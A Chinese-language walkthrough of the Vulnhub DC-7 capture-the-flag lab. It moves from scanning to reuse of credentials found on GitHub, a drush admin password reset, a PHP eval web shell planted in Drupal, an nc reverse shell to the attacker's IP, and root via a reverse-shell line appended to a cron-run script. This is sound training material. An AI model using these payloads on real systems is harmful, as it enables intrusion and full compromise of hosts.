Vulnhub靶机介绍
Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行练习,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC7还是只有拿到root权限才可以发现最终的flag。
01 环境搭建
靶机环境下载:https://www.vulnhub.com/entry/dc-7,356/
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
提示只有一个flag并且不需要暴力破解
02 信息收集
常规扫描
arp-scan -l
端口扫描
使用nmap对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.75.159
开启了ssh(22端口),web服务(80端口)
web服务是drupal 8
这个CMS和DC-1是一样的,DC-1是drupal 7这个是drupal 8
03 Get Shell
根据网站信息社工
重新查看题目信息,发现有一些提示
这个题目源自一个早期版本
在网站首页上比以前系列的题目多了一行信息@DC7USER
搜索@DC7USER发现在GitHub上有这个账户
进入后发现一个staffdb项目,在项目中发现一个带有账户信息的文件
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
看代码是个数据库账号,但是目前没有可以登录数据库的接口,尝试用这个账户登录web,失败,登录ssh成功
获得web账户
查询用户的sudo配置,搜索suid程序都没有找到能有效提权的方法
在home目录下有个mbox文件,和一些备份文件
看一下mbox文件发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh
cd /opt/scripts/ #进入目录
cat backups.sh #查看文件
里面调用了drush命令,drush是drupal shell专门管理drupal站点的shell
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456
drush user-password admin --password="123456"
使用admin账户登录成功
反弹shell
需要反弹shell,登入成功后在Content—>Add content–>Basic page下需要添加一个PHP模板
但是这里好像不支持php只有html,查了查需要单独安装插件让它支持php语言
https://www.drupal.org/project/php #插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模块包
有个绿色✔就是成功
然后在首页进行编辑,添加php木马代码,保存text format设置为PHP cod然后使用蚁剑进行连接
<?php
@eval($_REQUEST[8]);
?>
然后需要把shell回弹到kali上面
nc 192.168.75.150 4444 -e /bin/sh
开启监听nc -lvp 4444回弹成功
设置交互python -c 'import pty;pty.spawn("/bin/bash")'
04 提权
在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
因为sh文件是root执行的,所以返回的也是root权限
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f" >> backups.sh
Kali设置nc -lvp 7777
等待定时任务执行,执行后便获得rootshell,接着进入交互shell
python -c "import pty;pty.spawn('/bin/bash')"